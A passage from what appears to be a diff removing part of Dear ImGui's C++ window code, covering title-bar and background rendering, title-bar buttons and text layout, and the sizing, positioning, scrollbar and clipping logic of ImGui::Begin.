GetColorU32((title_bar_is_highlight && !g.NavDisableHighlight) ? ImGuiCol_TitleBgActive : ImGuiCol_TitleBgCollapsed); - RenderFrame(title_bar_rect.Min, title_bar_rect.Max, title_bar_col, true, window_rounding); - g.Style.FrameBorderSize = backup_border_size; - } - else - { - // Window background - if (!(flags & ImGuiWindowFlags_NoBackground)) - { - ImU32 bg_col = GetColorU32(GetWindowBgColorIdxFromFlags(flags)); - bool override_alpha = false; - float alpha = 1.0f; - if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasBgAlpha) - { - alpha = g.NextWindowData.BgAlphaVal; - override_alpha = true; - } - if (override_alpha) - bg_col = (bg_col & ~IM_COL32_A_MASK) | (IM_F32_TO_INT8_SAT(alpha) << IM_COL32_A_SHIFT); - window->DrawList->AddRectFilled(window->Pos + ImVec2(0, window->TitleBarHeight()), window->Pos + window->Size, bg_col, window_rounding, (flags & ImGuiWindowFlags_NoTitleBar) ? ImDrawCornerFlags_All : ImDrawCornerFlags_Bot); - } - - // Title bar - if (!(flags & ImGuiWindowFlags_NoTitleBar)) - { - ImU32 title_bar_col = GetColorU32(title_bar_is_highlight ? ImGuiCol_TitleBgActive : ImGuiCol_TitleBg); - window->DrawList->AddRectFilled(title_bar_rect.Min, title_bar_rect.Max, title_bar_col, window_rounding, ImDrawCornerFlags_Top); - } - - // Menu bar - if (flags & ImGuiWindowFlags_MenuBar) - { - ImRect menu_bar_rect = window->MenuBarRect(); - menu_bar_rect.ClipWith(window->Rect()); // Soft clipping, in particular child window don't have minimum size covering the menu bar so this is useful for them. - window->DrawList->AddRectFilled(menu_bar_rect.Min + ImVec2(window_border_size, 0), menu_bar_rect.Max - ImVec2(window_border_size, 0), GetColorU32(ImGuiCol_MenuBarBg), (flags & ImGuiWindowFlags_NoTitleBar) ? window_rounding : 0.0f, ImDrawCornerFlags_Top); - if (style.FrameBorderSize > 0.0f && menu_bar_rect.Max.y < window->Pos.y + window->Size.y) - window->DrawList->AddLine(menu_bar_rect.GetBL(), menu_bar_rect.GetBR(), GetColorU32(ImGuiCol_Border), style.FrameBorderSize); - } - - // Scrollbars - if (window->ScrollbarX) - Scrollbar(ImGuiAxis_X); - if (window->ScrollbarY) - Scrollbar(ImGuiAxis_Y); - - // Render resize grips (after their input handling so we don't have a frame of latency) - if (!(flags & ImGuiWindowFlags_NoResize)) - { - for (int resize_grip_n = 0; resize_grip_n < resize_grip_count; resize_grip_n++) - { - const ImGuiResizeGripDef& grip = resize_grip_def[resize_grip_n]; - const ImVec2 corner = ImLerp(window->Pos, window->Pos + window->Size, grip.CornerPosN); - window->DrawList->PathLineTo(corner + grip.InnerDir * ((resize_grip_n & 1) ? ImVec2(window_border_size, resize_grip_draw_size) : ImVec2(resize_grip_draw_size, window_border_size))); - window->DrawList->PathLineTo(corner + grip.InnerDir * ((resize_grip_n & 1) ? ImVec2(resize_grip_draw_size, window_border_size) : ImVec2(window_border_size, resize_grip_draw_size))); - window->DrawList->PathArcToFast(ImVec2(corner.x + grip.InnerDir.x * (window_rounding + window_border_size), corner.y + grip.InnerDir.y * (window_rounding + window_border_size)), window_rounding, grip.AngleMin12, grip.AngleMax12); - window->DrawList->PathFillConvex(resize_grip_col[resize_grip_n]); - } - } - - // Borders - RenderWindowOuterBorders(window); - } -} - -// Render title text, collapse button, close button -void ImGui::RenderWindowTitleBarContents(ImGuiWindow* window, const ImRect& title_bar_rect, const char* name, bool* p_open) -{ - ImGuiContext& g = *GImGui; - ImGuiStyle& style = g.Style; - ImGuiWindowFlags flags = window->Flags; - - const bool has_close_button = (p_open != NULL); - const bool has_collapse_button = !(flags & ImGuiWindowFlags_NoCollapse) && (style.WindowMenuButtonPosition != ImGuiDir_None); - - // Close & Collapse button are on the Menu NavLayer and don't default focus (unless there's nothing else on that layer) - const ImGuiItemFlags item_flags_backup = window->DC.ItemFlags; - window->DC.ItemFlags |= ImGuiItemFlags_NoNavDefaultFocus; - window->DC.NavLayerCurrent = ImGuiNavLayer_Menu; - - // Layout buttons - // FIXME: Would be nice to generalize the subtleties expressed here into reusable code. - float pad_l = style.FramePadding.x; - float pad_r = style.FramePadding.x; - float button_sz = g.FontSize; - ImVec2 close_button_pos; - ImVec2 collapse_button_pos; - if (has_close_button) - { - pad_r += button_sz; - close_button_pos = ImVec2(title_bar_rect.Max.x - pad_r - style.FramePadding.x, title_bar_rect.Min.y); - } - if (has_collapse_button && style.WindowMenuButtonPosition == ImGuiDir_Right) - { - pad_r += button_sz; - collapse_button_pos = ImVec2(title_bar_rect.Max.x - pad_r - style.FramePadding.x, title_bar_rect.Min.y); - } - if (has_collapse_button && style.WindowMenuButtonPosition == ImGuiDir_Left) - { - collapse_button_pos = ImVec2(title_bar_rect.Min.x + pad_l - style.FramePadding.x, title_bar_rect.Min.y); - pad_l += button_sz; - } - - // Collapse button (submitting first so it gets priority when choosing a navigation init fallback) - if (has_collapse_button) - if (CollapseButton(window->GetID("#COLLAPSE"), collapse_button_pos)) - window->WantCollapseToggle = true; // Defer actual collapsing to next frame as we are too far in the Begin() function - - // Close button - if (has_close_button) - if (CloseButton(window->GetID("#CLOSE"), close_button_pos)) - *p_open = false; - - window->DC.NavLayerCurrent = ImGuiNavLayer_Main; - window->DC.ItemFlags = item_flags_backup; - - // Title bar text (with: horizontal alignment, avoiding collapse/close button, optional "unsaved document" marker) - // FIXME: Refactor text alignment facilities along with RenderText helpers, this is WAY too much messy code.. - const char* UNSAVED_DOCUMENT_MARKER = "*"; - const float marker_size_x = (flags & ImGuiWindowFlags_UnsavedDocument) ? CalcTextSize(UNSAVED_DOCUMENT_MARKER, NULL, false).x : 0.0f; - const ImVec2 text_size = CalcTextSize(name, NULL, true) + ImVec2(marker_size_x, 0.0f); - - // As a nice touch we try to ensure that centered title text doesn't get affected by visibility of Close/Collapse button, - // while uncentered title text will still reach edges correctly. - if (pad_l > style.FramePadding.x) - pad_l += g.Style.ItemInnerSpacing.x; - if (pad_r > style.FramePadding.x) - pad_r += g.Style.ItemInnerSpacing.x; - if (style.WindowTitleAlign.x > 0.0f && style.WindowTitleAlign.x < 1.0f) - { - float centerness = ImSaturate(1.0f - ImFabs(style.WindowTitleAlign.x - 0.5f) * 2.0f); // 0.0f on either edges, 1.0f on center - float pad_extend = ImMin(ImMax(pad_l, pad_r), title_bar_rect.GetWidth() - pad_l - pad_r - text_size.x); - pad_l = ImMax(pad_l, pad_extend * centerness); - pad_r = ImMax(pad_r, pad_extend * centerness); - } - - ImRect layout_r(title_bar_rect.Min.x + pad_l, title_bar_rect.Min.y, title_bar_rect.Max.x - pad_r, title_bar_rect.Max.y); - ImRect clip_r(layout_r.Min.x, layout_r.Min.y, ImMin(layout_r.Max.x + g.Style.ItemInnerSpacing.x, title_bar_rect.Max.x), layout_r.Max.y); - //if (g.IO.KeyShift) window->DrawList->AddRect(layout_r.Min, layout_r.Max, IM_COL32(255, 128, 0, 255)); // [DEBUG] - //if (g.IO.KeyCtrl) window->DrawList->AddRect(clip_r.Min, clip_r.Max, IM_COL32(255, 128, 0, 255)); // [DEBUG] - RenderTextClipped(layout_r.Min, layout_r.Max, name, NULL, &text_size, style.WindowTitleAlign, &clip_r); - if (flags & ImGuiWindowFlags_UnsavedDocument) - { - ImVec2 marker_pos = ImVec2(ImMax(layout_r.Min.x, layout_r.Min.x + (layout_r.GetWidth() - text_size.x) * style.WindowTitleAlign.x) + text_size.x, layout_r.Min.y) + ImVec2(2 - marker_size_x, 0.0f); - ImVec2 off = ImVec2(0.0f, IM_FLOOR(-g.FontSize * 0.25f)); - RenderTextClipped(marker_pos + off, layout_r.Max + off, UNSAVED_DOCUMENT_MARKER, NULL, NULL, ImVec2(0, style.WindowTitleAlign.y), &clip_r); - } -} - -void ImGui::UpdateWindowParentAndRootLinks(ImGuiWindow* window, ImGuiWindowFlags flags, ImGuiWindow* parent_window) -{ - window->ParentWindow = parent_window; - window->RootWindow = window->RootWindowForTitleBarHighlight = window->RootWindowForNav = window; - if (parent_window && (flags & ImGuiWindowFlags_ChildWindow) && !(flags & ImGuiWindowFlags_Tooltip)) - window->RootWindow = parent_window->RootWindow; - if (parent_window && !(flags & ImGuiWindowFlags_Modal) && (flags & (ImGuiWindowFlags_ChildWindow | ImGuiWindowFlags_Popup))) - window->RootWindowForTitleBarHighlight = parent_window->RootWindowForTitleBarHighlight; - while (window->RootWindowForNav->Flags & ImGuiWindowFlags_NavFlattened) - { - IM_ASSERT(window->RootWindowForNav->ParentWindow != NULL); - window->RootWindowForNav = window->RootWindowForNav->ParentWindow; - } -} - -// Push a new Dear ImGui window to add widgets to. -// - A default window called "Debug" is automatically stacked at the beginning of every frame so you can use widgets without explicitly calling a Begin/End pair. -// - Begin/End can be called multiple times during the frame with the same window name to append content. -// - The window name is used as a unique identifier to preserve window information across frames (and save rudimentary information to the .ini file). -// You can use the "##" or "###" markers to use the same label with different id, or same id with different label. See documentation at the top of this file. -// - Return false when window is collapsed, so you can early out in your code. You always need to call ImGui::End() even if false is returned. -// - Passing 'bool* p_open' displays a Close button on the upper-right corner of the window, the pointed value will be set to false when the button is pressed. -bool ImGui::Begin(const char* name, bool* p_open, ImGuiWindowFlags flags) -{ - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - IM_ASSERT(name != NULL && name[0] != '\0'); // Window name required - IM_ASSERT(g.WithinFrameScope); // Forgot to call ImGui::NewFrame() - IM_ASSERT(g.FrameCountEnded != g.FrameCount); // Called ImGui::Render() or ImGui::EndFrame() and haven't called ImGui::NewFrame() again yet - - // Find or create - ImGuiWindow* window = FindWindowByName(name); - const bool window_just_created = (window == NULL); - if (window_just_created) - window = CreateNewWindow(name, flags); - - // Automatically disable manual moving/resizing when NoInputs is set - if ((flags & ImGuiWindowFlags_NoInputs) == ImGuiWindowFlags_NoInputs) - flags |= ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoResize; - - if (flags & ImGuiWindowFlags_NavFlattened) - IM_ASSERT(flags & ImGuiWindowFlags_ChildWindow); - - const int current_frame = g.FrameCount; - const bool first_begin_of_the_frame = (window->LastFrameActive != current_frame); - window->IsFallbackWindow = (g.CurrentWindowStack.Size == 0 && g.WithinFrameScopeWithImplicitWindow); - - // Update the Appearing flag - bool window_just_activated_by_user = (window->LastFrameActive < current_frame - 1); // Not using !WasActive because the implicit "Debug" window would always toggle off->on - const bool window_just_appearing_after_hidden_for_resize = (window->HiddenFramesCannotSkipItems > 0); - if (flags & ImGuiWindowFlags_Popup) - { - ImGuiPopupData& popup_ref = g.OpenPopupStack[g.BeginPopupStack.Size]; - window_just_activated_by_user |= (window->PopupId != popup_ref.PopupId); // We recycle popups so treat window as activated if popup id changed - window_just_activated_by_user |= (window != popup_ref.Window); - } - window->Appearing = (window_just_activated_by_user || window_just_appearing_after_hidden_for_resize); - if (window->Appearing) - SetWindowConditionAllowFlags(window, ImGuiCond_Appearing, true); - - // Update Flags, LastFrameActive, BeginOrderXXX fields - if (first_begin_of_the_frame) - { - window->Flags = (ImGuiWindowFlags)flags; - window->LastFrameActive = current_frame; - window->LastTimeActive = (float)g.Time; - window->BeginOrderWithinParent = 0; - window->BeginOrderWithinContext = (short)(g.WindowsActiveCount++); - } - else - { - flags = window->Flags; - } - - // Parent window is latched only on the first call to Begin() of the frame, so further append-calls can be done from a different window stack - ImGuiWindow* parent_window_in_stack = g.CurrentWindowStack.empty() ? NULL : g.CurrentWindowStack.back(); - ImGuiWindow* parent_window = first_begin_of_the_frame ? ((flags & (ImGuiWindowFlags_ChildWindow | ImGuiWindowFlags_Popup)) ? parent_window_in_stack : NULL) : window->ParentWindow; - IM_ASSERT(parent_window != NULL || !(flags & ImGuiWindowFlags_ChildWindow)); - - // We allow window memory to be compacted so recreate the base stack when needed. - if (window->IDStack.Size == 0) - window->IDStack.push_back(window->ID); - - // Add to stack - // We intentionally set g.CurrentWindow to NULL to prevent usage until when the viewport is set, then will call SetCurrentWindow() - g.CurrentWindowStack.push_back(window); - g.CurrentWindow = window; - window->DC.StackSizesOnBegin.SetToCurrentState(); - g.CurrentWindow = NULL; - - if (flags & ImGuiWindowFlags_Popup) - { - ImGuiPopupData& popup_ref = g.OpenPopupStack[g.BeginPopupStack.Size]; - popup_ref.Window = window; - g.BeginPopupStack.push_back(popup_ref); - window->PopupId = popup_ref.PopupId; - } - - // Update ->RootWindow and others pointers (before any possible call to FocusWindow) - if (first_begin_of_the_frame) - UpdateWindowParentAndRootLinks(window, flags, parent_window); - - // Process SetNextWindow***() calls - // (FIXME: Consider splitting the HasXXX flags into X/Y components - bool window_pos_set_by_api = false; - bool window_size_x_set_by_api = false, window_size_y_set_by_api = false; - if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasPos) - { - window_pos_set_by_api = (window->SetWindowPosAllowFlags & g.NextWindowData.PosCond) != 0; - if (window_pos_set_by_api && ImLengthSqr(g.NextWindowData.PosPivotVal) > 0.00001f) - { - // May be processed on the next frame if this is our first frame and we are measuring size - // FIXME: Look into removing the branch so everything can go through this same code path for consistency. - window->SetWindowPosVal = g.NextWindowData.PosVal; - window->SetWindowPosPivot = g.NextWindowData.PosPivotVal; - window->SetWindowPosAllowFlags &= ~(ImGuiCond_Once | ImGuiCond_FirstUseEver | ImGuiCond_Appearing); - } - else - { - SetWindowPos(window, g.NextWindowData.PosVal, g.NextWindowData.PosCond); - } - } - if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasSize) - { - window_size_x_set_by_api = (window->SetWindowSizeAllowFlags & g.NextWindowData.SizeCond) != 0 && (g.NextWindowData.SizeVal.x > 0.0f); - window_size_y_set_by_api = (window->SetWindowSizeAllowFlags & g.NextWindowData.SizeCond) != 0 && (g.NextWindowData.SizeVal.y > 0.0f); - SetWindowSize(window, g.NextWindowData.SizeVal, g.NextWindowData.SizeCond); - } - if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasScroll) - { - if (g.NextWindowData.ScrollVal.x >= 0.0f) - { - window->ScrollTarget.x = g.NextWindowData.ScrollVal.x; - window->ScrollTargetCenterRatio.x = 0.0f; - } - if (g.NextWindowData.ScrollVal.y >= 0.0f) - { - window->ScrollTarget.y = g.NextWindowData.ScrollVal.y; - window->ScrollTargetCenterRatio.y = 0.0f; - } - } - if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasContentSize) - window->ContentSizeExplicit = g.NextWindowData.ContentSizeVal; - else if (first_begin_of_the_frame) - window->ContentSizeExplicit = ImVec2(0.0f, 0.0f); - if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasCollapsed) - SetWindowCollapsed(window, g.NextWindowData.CollapsedVal, g.NextWindowData.CollapsedCond); - if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasFocus) - FocusWindow(window); - if (window->Appearing) - SetWindowConditionAllowFlags(window, ImGuiCond_Appearing, false); - - // When reusing window again multiple times a frame, just append content (don't need to setup again) - if (first_begin_of_the_frame) - { - // Initialize - const bool window_is_child_tooltip = (flags & ImGuiWindowFlags_ChildWindow) && (flags & ImGuiWindowFlags_Tooltip); // FIXME-WIP: Undocumented behavior of Child+Tooltip for pinned tooltip (#1345) - window->Active = true; - window->HasCloseButton = (p_open != NULL); - window->ClipRect = ImVec4(-FLT_MAX, -FLT_MAX, +FLT_MAX, +FLT_MAX); - window->IDStack.resize(1); - window->DrawList->_ResetForNewFrame(); - window->DC.CurrentTableIdx = -1; - - // Restore buffer capacity when woken from a compacted state, to avoid - if (window->MemoryCompacted) - GcAwakeTransientWindowBuffers(window); - - // Update stored window name when it changes (which can _only_ happen with the "###" operator, so the ID would stay unchanged). - // The title bar always display the 'name' parameter, so we only update the string storage if it needs to be visible to the end-user elsewhere. - bool window_title_visible_elsewhere = false; - if (g.NavWindowingListWindow != NULL && (window->Flags & ImGuiWindowFlags_NoNavFocus) == 0) // Window titles visible when using CTRL+TAB - window_title_visible_elsewhere = true; - if (window_title_visible_elsewhere && !window_just_created && strcmp(name, window->Name) != 0) - { - size_t buf_len = (size_t)window->NameBufLen; - window->Name = ImStrdupcpy(window->Name, &buf_len, name); - window->NameBufLen = (int)buf_len; - } - - // UPDATE CONTENTS SIZE, UPDATE HIDDEN STATUS - - // Update contents size from last frame for auto-fitting (or use explicit size) - CalcWindowContentSizes(window, &window->ContentSize, &window->ContentSizeIdeal); - if (window->HiddenFramesCanSkipItems > 0) - window->HiddenFramesCanSkipItems--; - if (window->HiddenFramesCannotSkipItems > 0) - window->HiddenFramesCannotSkipItems--; - if (window->HiddenFramesForRenderOnly > 0) - window->HiddenFramesForRenderOnly--; - - // Hide new windows for one frame until they calculate their size - if (window_just_created && (!window_size_x_set_by_api || !window_size_y_set_by_api)) - window->HiddenFramesCannotSkipItems = 1; - - // Hide popup/tooltip window when re-opening while we measure size (because we recycle the windows) - // We reset Size/ContentSize for reappearing popups/tooltips early in this function, so further code won't be tempted to use the old size. - if (window_just_activated_by_user && (flags & (ImGuiWindowFlags_Popup | ImGuiWindowFlags_Tooltip)) != 0) - { - window->HiddenFramesCannotSkipItems = 1; - if (flags & ImGuiWindowFlags_AlwaysAutoResize) - { - if (!window_size_x_set_by_api) - window->Size.x = window->SizeFull.x = 0.f; - if (!window_size_y_set_by_api) - window->Size.y = window->SizeFull.y = 0.f; - window->ContentSize = window->ContentSizeIdeal = ImVec2(0.f, 0.f); - } - } - - // SELECT VIEWPORT - // FIXME-VIEWPORT: In the docking/viewport branch, this is the point where we select the current viewport (which may affect the style) - SetCurrentWindow(window); - - // LOCK BORDER SIZE AND PADDING FOR THE FRAME (so that altering them doesn't cause inconsistencies) - - if (flags & ImGuiWindowFlags_ChildWindow) - window->WindowBorderSize = style.ChildBorderSize; - else - window->WindowBorderSize = ((flags & (ImGuiWindowFlags_Popup | ImGuiWindowFlags_Tooltip)) && !(flags & ImGuiWindowFlags_Modal)) ? style.PopupBorderSize : style.WindowBorderSize; - window->WindowPadding = style.WindowPadding; - if ((flags & ImGuiWindowFlags_ChildWindow) && !(flags & (ImGuiWindowFlags_AlwaysUseWindowPadding | ImGuiWindowFlags_Popup)) && window->WindowBorderSize == 0.0f) - window->WindowPadding = ImVec2(0.0f, (flags & ImGuiWindowFlags_MenuBar) ? style.WindowPadding.y : 0.0f); - - // Lock menu offset so size calculation can use it as menu-bar windows need a minimum size. - window->DC.MenuBarOffset.x = ImMax(ImMax(window->WindowPadding.x, style.ItemSpacing.x), g.NextWindowData.MenuBarOffsetMinVal.x); - window->DC.MenuBarOffset.y = g.NextWindowData.MenuBarOffsetMinVal.y; - - // Collapse window by double-clicking on title bar - // At this point we don't have a clipping rectangle setup yet, so we can use the title bar area for hit detection and drawing - if (!(flags & ImGuiWindowFlags_NoTitleBar) && !(flags & ImGuiWindowFlags_NoCollapse)) - { - // We don't use a regular button+id to test for double-click on title bar (mostly due to legacy reason, could be fixed), so verify that we don't have items over the title bar. - ImRect title_bar_rect = window->TitleBarRect(); - if (g.HoveredWindow == window && g.HoveredId == 0 && g.HoveredIdPreviousFrame == 0 && IsMouseHoveringRect(title_bar_rect.Min, title_bar_rect.Max) && g.IO.MouseDoubleClicked[0]) - window->WantCollapseToggle = true; - if (window->WantCollapseToggle) - { - window->Collapsed = !window->Collapsed; - MarkIniSettingsDirty(window); - FocusWindow(window); - } - } - else - { - window->Collapsed = false; - } - window->WantCollapseToggle = false; - - // SIZE - - // Calculate auto-fit size, handle automatic resize - const ImVec2 size_auto_fit = CalcWindowAutoFitSize(window, window->ContentSizeIdeal); - bool use_current_size_for_scrollbar_x = window_just_created; - bool use_current_size_for_scrollbar_y = window_just_created; - if ((flags & ImGuiWindowFlags_AlwaysAutoResize) && !window->Collapsed) - { - // Using SetNextWindowSize() overrides ImGuiWindowFlags_AlwaysAutoResize, so it can be used on tooltips/popups, etc. - if (!window_size_x_set_by_api) - { - window->SizeFull.x = size_auto_fit.x; - use_current_size_for_scrollbar_x = true; - } - if (!window_size_y_set_by_api) - { - window->SizeFull.y = size_auto_fit.y; - use_current_size_for_scrollbar_y = true; - } - } - else if (window->AutoFitFramesX > 0 || window->AutoFitFramesY > 0) - { - // Auto-fit may only grow window during the first few frames - // We still process initial auto-fit on collapsed windows to get a window width, but otherwise don't honor ImGuiWindowFlags_AlwaysAutoResize when collapsed. - if (!window_size_x_set_by_api && window->AutoFitFramesX > 0) - { - window->SizeFull.x = window->AutoFitOnlyGrows ? ImMax(window->SizeFull.x, size_auto_fit.x) : size_auto_fit.x; - use_current_size_for_scrollbar_x = true; - } - if (!window_size_y_set_by_api && window->AutoFitFramesY > 0) - { - window->SizeFull.y = window->AutoFitOnlyGrows ? ImMax(window->SizeFull.y, size_auto_fit.y) : size_auto_fit.y; - use_current_size_for_scrollbar_y = true; - } - if (!window->Collapsed) - MarkIniSettingsDirty(window); - } - - // Apply minimum/maximum window size constraints and final size - window->SizeFull = CalcWindowSizeAfterConstraint(window, window->SizeFull); - window->Size = window->Collapsed && !(flags & ImGuiWindowFlags_ChildWindow) ? window->TitleBarRect().GetSize() : window->SizeFull; - - // Decoration size - const float decoration_up_height = window->TitleBarHeight() + window->MenuBarHeight(); - - // POSITION - - // Popup latch its initial position, will position itself when it appears next frame - if (window_just_activated_by_user) - { - window->AutoPosLastDirection = ImGuiDir_None; - if ((flags & ImGuiWindowFlags_Popup) != 0 && !(flags & ImGuiWindowFlags_Modal) && !window_pos_set_by_api) // FIXME: BeginPopup() could use SetNextWindowPos() - window->Pos = g.BeginPopupStack.back().OpenPopupPos; - } - - // Position child window - if (flags & ImGuiWindowFlags_ChildWindow) - { - IM_ASSERT(parent_window && parent_window->Active); - window->BeginOrderWithinParent = (short)parent_window->DC.ChildWindows.Size; - parent_window->DC.ChildWindows.push_back(window); - if (!(flags & ImGuiWindowFlags_Popup) && !window_pos_set_by_api && !window_is_child_tooltip) - window->Pos = parent_window->DC.CursorPos; - } - - const bool window_pos_with_pivot = (window->SetWindowPosVal.x != FLT_MAX && window->HiddenFramesCannotSkipItems == 0); - if (window_pos_with_pivot) - SetWindowPos(window, window->SetWindowPosVal - window->Size * window->SetWindowPosPivot, 0); // Position given a pivot (e.g. for centering) - else if ((flags & ImGuiWindowFlags_ChildMenu) != 0) - window->Pos = FindBestWindowPosForPopup(window); - else if ((flags & ImGuiWindowFlags_Popup) != 0 && !window_pos_set_by_api && window_just_appearing_after_hidden_for_resize) - window->Pos = FindBestWindowPosForPopup(window); - else if ((flags & ImGuiWindowFlags_Tooltip) != 0 && !window_pos_set_by_api && !window_is_child_tooltip) - window->Pos = FindBestWindowPosForPopup(window); - - // Calculate the range of allowed position for that window (to be movable and visible past safe area padding) - // When clamping to stay visible, we will enforce that window->Pos stays inside of visibility_rect. - ImGuiViewportP* viewport = (ImGuiViewportP*)(void*)GetMainViewport(); - ImRect viewport_rect(viewport->GetMainRect()); - ImRect viewport_work_rect(viewport->GetWorkRect()); - ImVec2 visibility_padding = ImMax(style.DisplayWindowPadding, style.DisplaySafeAreaPadding); - ImRect visibility_rect(viewport_work_rect.Min + visibility_padding, viewport_work_rect.Max - visibility_padding); - - // Clamp position/size so window stays visible within its viewport or monitor - // Ignore zero-sized display explicitly to avoid losing positions if a window manager reports zero-sized window when initializing or minimizing. - if (!window_pos_set_by_api && !(flags & ImGuiWindowFlags_ChildWindow) && window->AutoFitFramesX <= 0 && window->AutoFitFramesY <= 0) - if (viewport_rect.GetWidth() > 0.0f && viewport_rect.GetHeight() > 0.0f) - ClampWindowRect(window, visibility_rect); - window->Pos = ImFloor(window->Pos); - - // Lock window rounding for the frame (so that altering them doesn't cause inconsistencies) - // Large values tend to lead to variety of artifacts and are not recommended. - window->WindowRounding = (flags & ImGuiWindowFlags_ChildWindow) ? style.ChildRounding : ((flags & ImGuiWindowFlags_Popup) && !(flags & ImGuiWindowFlags_Modal)) ? style.PopupRounding : style.WindowRounding; - - // For windows with title bar or menu bar, we clamp to FrameHeight(FontSize + FramePadding.y * 2.0f) to completely hide artifacts. - //if ((window->Flags & ImGuiWindowFlags_MenuBar) || !(window->Flags & ImGuiWindowFlags_NoTitleBar)) - // window->WindowRounding = ImMin(window->WindowRounding, g.FontSize + style.FramePadding.y * 2.0f); - - // Apply window focus (new and reactivated windows are moved to front) - bool want_focus = false; - if (window_just_activated_by_user && !(flags & ImGuiWindowFlags_NoFocusOnAppearing)) - { - if (flags & ImGuiWindowFlags_Popup) - want_focus = true; - else if ((flags & (ImGuiWindowFlags_ChildWindow | ImGuiWindowFlags_Tooltip)) == 0) - want_focus = true; - } - - // Handle manual resize: Resize Grips, Borders, Gamepad - int border_held = -1; - ImU32 resize_grip_col[4] = {}; - const int resize_grip_count = g.IO.ConfigWindowsResizeFromEdges ? 2 : 1; // Allow resize from lower-left if we have the mouse cursor feedback for it. - const float resize_grip_draw_size = IM_FLOOR(ImMax(g.FontSize * 1.10f, window->WindowRounding + 1.0f + g.FontSize * 0.2f)); - if (!window->Collapsed) - if (UpdateWindowManualResize(window, size_auto_fit, &border_held, resize_grip_count, &resize_grip_col[0], visibility_rect)) - use_current_size_for_scrollbar_x = use_current_size_for_scrollbar_y = true; - window->ResizeBorderHeld = (signed char)border_held; - - // SCROLLBAR VISIBILITY - - // Update scrollbar visibility (based on the Size that was effective during last frame or the auto-resized Size). - if (!window->Collapsed) - { - // When reading the current size we need to read it after size constraints have been applied. - // When we use InnerRect here we are intentionally reading last frame size, same for ScrollbarSizes values before we set them again. - ImVec2 avail_size_from_current_frame = ImVec2(window->SizeFull.x, window->SizeFull.y - decoration_up_height); - ImVec2 avail_size_from_last_frame = window->InnerRect.GetSize() + window->ScrollbarSizes; - ImVec2 needed_size_from_last_frame = window_just_created ? ImVec2(0, 0) : window->ContentSize + window->WindowPadding * 2.0f; - float size_x_for_scrollbars = use_current_size_for_scrollbar_x ? avail_size_from_current_frame.x : avail_size_from_last_frame.x; - float size_y_for_scrollbars = use_current_size_for_scrollbar_y ? avail_size_from_current_frame.y : avail_size_from_last_frame.y; - //bool scrollbar_y_from_last_frame = window->ScrollbarY; // FIXME: May want to use that in the ScrollbarX expression? How many pros vs cons? - window->ScrollbarY = (flags & ImGuiWindowFlags_AlwaysVerticalScrollbar) || ((needed_size_from_last_frame.y > size_y_for_scrollbars) && !(flags & ImGuiWindowFlags_NoScrollbar)); - window->ScrollbarX = (flags & ImGuiWindowFlags_AlwaysHorizontalScrollbar) || ((needed_size_from_last_frame.x > size_x_for_scrollbars - (window->ScrollbarY ? style.ScrollbarSize : 0.0f)) && !(flags & ImGuiWindowFlags_NoScrollbar) && (flags & ImGuiWindowFlags_HorizontalScrollbar)); - if (window->ScrollbarX && !window->ScrollbarY) - window->ScrollbarY = (needed_size_from_last_frame.y > size_y_for_scrollbars) && !(flags & ImGuiWindowFlags_NoScrollbar); - window->ScrollbarSizes = ImVec2(window->ScrollbarY ? style.ScrollbarSize : 0.0f, window->ScrollbarX ? style.ScrollbarSize : 0.0f); - } - - // UPDATE RECTANGLES (1- THOSE NOT AFFECTED BY SCROLLING) - // Update various regions. Variables they depends on should be set above in this function. - // We set this up after processing the resize grip so that our rectangles doesn't lag by a frame. - - // Outer rectangle - // Not affected by window border size. Used by: - // - FindHoveredWindow() (w/ extra padding when border resize is enabled) - // - Begin() initial clipping rect for drawing window background and borders. - // - Begin() clipping whole child - const ImRect host_rect = ((flags & ImGuiWindowFlags_ChildWindow) && !(flags & ImGuiWindowFlags_Popup) && !window_is_child_tooltip) ? parent_window->ClipRect : viewport_rect; - const ImRect outer_rect = window->Rect(); - const ImRect title_bar_rect = window->TitleBarRect(); - window->OuterRectClipped = outer_rect; - window->OuterRectClipped.ClipWith(host_rect); - - // Inner rectangle - // Not affected by window border size. Used by: - // - InnerClipRect - // - ScrollToBringRectIntoView() - // - NavUpdatePageUpPageDown() - // - Scrollbar() - window->InnerRect.Min.x = window->Pos.x; - window->InnerRect.Min.y = window->Pos.y + decoration_up_height; - window->InnerRect.Max.x = window->Pos.x + window->Size.x - window->ScrollbarSizes.x; - window->InnerRect.Max.y = window->Pos.y + window->Size.y - window->ScrollbarSizes.y; - - // Inner clipping rectangle. - // Will extend a little bit outside the normal work region. - // This is to allow e.g. Selectable or CollapsingHeader or some separators to cover that space. - // Force round operator last to ensure that e.g. (int)(max.x-min.x) in user's render code produce correct result. - // Note that if our window is collapsed we will end up with an inverted (~null) clipping rectangle which is the correct behavior. - // Affected by window/frame border size. Used by: - // - Begin() initial clip rect - float top_border_size = (((flags & ImGuiWindowFlags_MenuBar) || !(flags & ImGuiWindowFlags_NoTitleBar)) ? style.FrameBorderSize : window->WindowBorderSize); - window->InnerClipRect.Min.x = ImFloor(0.5f + window->InnerRect.Min.x + ImMax(ImFloor(window->WindowPadding.x * 0.5f), window->WindowBorderSize)); - window->InnerClipRect.Min.y = ImFloor(0.5f + window->InnerRect.Min.y + top_border_size); - window->InnerClipRect.Max.x = ImFloor(0.5f + window->InnerRect.Max.x - ImMax(ImFloor(window->WindowPadding.x * 0.5f), window->WindowBorderSize)); - window->InnerClipRect.Max.y = ImFloor(0.5f + window->InnerRect.Max.y - window->WindowBorderSize); - window->InnerClipRect.ClipWithFull(host_rect); - - // Default item width. Make it proportional to window size if window manually resizes - if (window->Size.x > 0.0f && !(flags & ImGuiWindowFlags_Tooltip) && !(flags & ImGuiWindowFlags_AlwaysAutoResize)) - window->ItemWidthDefault = ImFloor(window->Size.x * 0.65f); - else - window->ItemWidthDefault = ImFloor(g.FontSize * 16.0f); - - // SCROLLING - - // Lock down maximum scrolling - // The value of ScrollMax are ahead from ScrollbarX/ScrollbarY which is intentionally using InnerRect from previous rect in order to accommodate - // for right/bottom aligned items without creating a scrollbar. - window->ScrollMax.x = ImMax(0.0f, window->ContentSize.x + window->WindowPadding.x * 2.0f - 